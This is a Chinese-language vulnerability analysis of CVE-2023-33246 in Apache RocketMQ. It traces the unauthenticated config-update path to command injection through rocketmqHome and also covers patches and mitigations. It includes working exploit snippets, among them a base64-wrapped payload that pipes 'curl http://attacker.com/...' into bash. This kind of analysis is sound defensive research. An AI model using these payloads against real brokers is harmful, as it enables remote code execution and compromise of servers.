CVE-2023-33246 Apache RocketMQ 漏洞深度剖析3层调用链与FilterServerManager执行点Apache RocketMQ作为阿里巴巴开源的高性能分布式消息中间件在5.1.0及以下版本中存在一个高危远程代码执行漏洞CVE-2023-33246。本文将深入分析该漏洞的技术原理重点拆解从Netty请求处理到最终Runtime.exec()的完整3层调用链路并详细解释FilterServerManager周期性任务触发命令执行的机制。1. 漏洞背景与影响范围漏洞基本信息CVE编号CVE-2023-33246漏洞类型远程命令执行RCE影响版本Apache RocketMQ ≤ 5.1.0Apache RocketMQ ≤ 4.9.6CVSS评分8.1高危漏洞核心问题Broker组件配置更新接口缺乏身份认证FilterServer机制中的命令拼接未做输入过滤周期性任务执行未验证参数安全性典型攻击场景// 攻击者通过以下代码片段可触发漏洞 Properties props new Properties(); props.setProperty(rocketmqHome, -c $|sh . echo恶意命令); props.setProperty(filterServerNums, 1); DefaultMQAdminExt admin new DefaultMQAdminExt(); admin.updateBrokerConfig(targetAddr, props);2. 漏洞调用链深度解析2.1 第一层Netty请求处理入口漏洞起始于Netty的请求处理流程关键类与方法// NettyRemotingServer处理请求的调用链 public class NettyRemotingServer extends NettyRemotingAbstract { protected ChannelPipeline configChannel(SocketChannel ch) { return ch.pipeline() .addLast(new NettyDecoder()) // 请求解码 .addLast(new NettyServerHandler()); // 请求处理 } } // 请求解码关键代码 public class NettyDecoder extends LengthFieldBasedFrameDecoder { protected Object decode(ChannelHandlerContext ctx, ByteBuf in) { RemotingCommand cmd RemotingCommand.decode(frame); // 反序列化请求 return cmd; } }关键点攻击者可以伪造RemotingCommand请求请求类型为REQUEST_COMMAND代码25对应配置更新2.2 第二层AdminBrokerProcessor配置更新请求进入Broker后的处理流程// AdminBrokerProcessor处理配置更新 public class AdminBrokerProcessor implements NettyRequestProcessor { public RemotingCommand processRequest(ChannelHandlerContext ctx, RemotingCommand request) { case RequestCode.UPDATE_BROKER_CONFIG: // 代码25 return this.updateBrokerConfig(ctx, request); } private RemotingCommand updateBrokerConfig(...) { Properties properties MixAll.string2Properties(body); brokerController.getConfiguration().update(properties); // 危险操作 } }配置更新流程将请求体转换为Properties对象通过反射机制更新BrokerConfig所有字段关键参数rocketmqHome和filterServerNums被修改2.3 第三层FilterServerManager命令执行漏洞最终触发点在FilterServerManager的周期性任务// FilterServerManager的定时任务 public class FilterServerManager { public void createFilterServer() { int more brokerConfig.getFilterServerNums() - filterServerTable.size(); String cmd buildStartCommand(); // 命令拼接 for (int i 0; i more; i) { FilterServerUtil.callShell(cmd, log); // 执行命令 } } private String buildStartCommand() { return String.format(sh %s/bin/startfsrv.sh %s, brokerConfig.getRocketmqHome(), config); // 关键拼接点 } }命令执行条件filterServerNums 当前FilterServer数量rocketmqHome参数包含恶意命令注入周期性任务每30秒执行一次3. FilterServerManager执行机制详解3.1 参数依赖关系两个关键参数的协同作用参数名类型作用安全要求filterServerNumsint控制启动的FilterServer数量必须0rocketmqHomeString指定RocketMQ安装路径需严格过滤参数验证缺失// BrokerConfig中相关属性定义 public class BrokerConfig { private int filterServerNums 0; // 默认值 private String rocketmqHome System.getProperty(user.home); // 无任何输入验证方法 }3.2 命令注入原理攻击者通过精心构造rocketmqHome实现命令注入# 原始命令结构 sh ${rocketmqHome}/bin/startfsrv.sh # 恶意注入示例 rocketmqHome-c $|sh . echo恶意命令 # 最终执行命令 sh -c $|sh . echo恶意命令/bin/startfsrv.shBash解释机制-c表示执行后续字符串作为命令$扩展为位置参数|sh将前命令输出通过管道传给sh3.3 调用时序分析完整漏洞触发时序sequenceDiagram participant Attacker participant Broker participant FilterServer Attacker-Broker: 发送恶意配置更新请求 Broker-Broker: 更新filterServerNums1 Broker-Broker: 更新rocketmqHome恶意命令 loop 每30秒执行 Broker-FilterServer: createFilterServer() FilterServer-OS: Runtime.exec(恶意命令) end4. 漏洞修复方案与防护建议4.1 官方修复方案Apache RocketMQ在5.1.1/4.9.6版本中修复了该漏洞添加认证机制强制要求配置更新请求提供访问凭证增加请求签名验证输入过滤// 修复后的代码片段 public static String filter(String input) { if (input null) return null; return input.replaceAll([^a-zA-Z0-9-_./], ); }关闭默认端口外网访问NameServer默认端口9876Broker默认端口109114.2 临时防护措施对于无法立即升级的用户# 网络层防护 iptables -A INPUT -p tcp --dport 10911 -j DROP iptables -A INPUT -p tcp --dport 9876 -j DROP # 配置修改 broker.conf添加 enablePropertyFiltertrue aclEnabletrue防护验证方法// 安全配置验证代码 DefaultMQAdminExt admin new DefaultMQAdminExt(); try { admin.updateBrokerConfig(target:10911, new Properties()); System.err.println(漏洞未修复); } catch (Exception e) { System.out.println(防护生效 e.getMessage()); }5. 漏洞利用的实战限制尽管该漏洞危害严重但在实际利用中存在以下限制时间延迟命令执行需要等待最多30秒FilterServer检查间隔结果获取无直接回显需要反弹shell或DNS外带数据环境差异# 不同系统的命令差异 Linux: /bin/sh Windows: cmd.exe权限限制以RocketMQ进程用户身份执行通常非root典型利用代码改进// 更稳定的利用方式 String cmd curl http://attacker.com/whoami; String payload -c $|sh . echo Base64.getEncoder().encodeToString(cmd.getBytes()) |base64 -d|bash; props.setProperty(rocketmqHome, payload);6. 漏洞挖掘方法论启示从该漏洞可以总结出以下安全研究模式配置接口审计查找未授权配置修改入口跟踪配置参数的传播路径周期性任务分析// 查找定时任务的常见模式 ScheduledExecutorService.scheduleAtFixedRate() Timer.schedule() Scheduled注解命令注入点识别Runtime.exec()ProcessBuilder.start()脚本引擎调用参数传递过程追踪从用户输入到最终执行的完整链路中间过程的编码/解码处理7. 相关漏洞扩展CVE-2023-33246的补丁绕过漏洞CVE-2023-37582通过NameServer的配置更新接口绕过修复利用RocketMQ协议伪造技术防护要点对比防护层面CVE-2023-33246CVE-2023-37582认证机制添加强化输入过滤基本过滤增强过滤协议校验无增加签名对于企业安全团队建议建立消息中间件的专项安全检测机制重点关注配置接口、定时任务和命令执行三个关键维度。通过Hook关键技术点如Runtime.exec可以实现攻击行为的实时监控。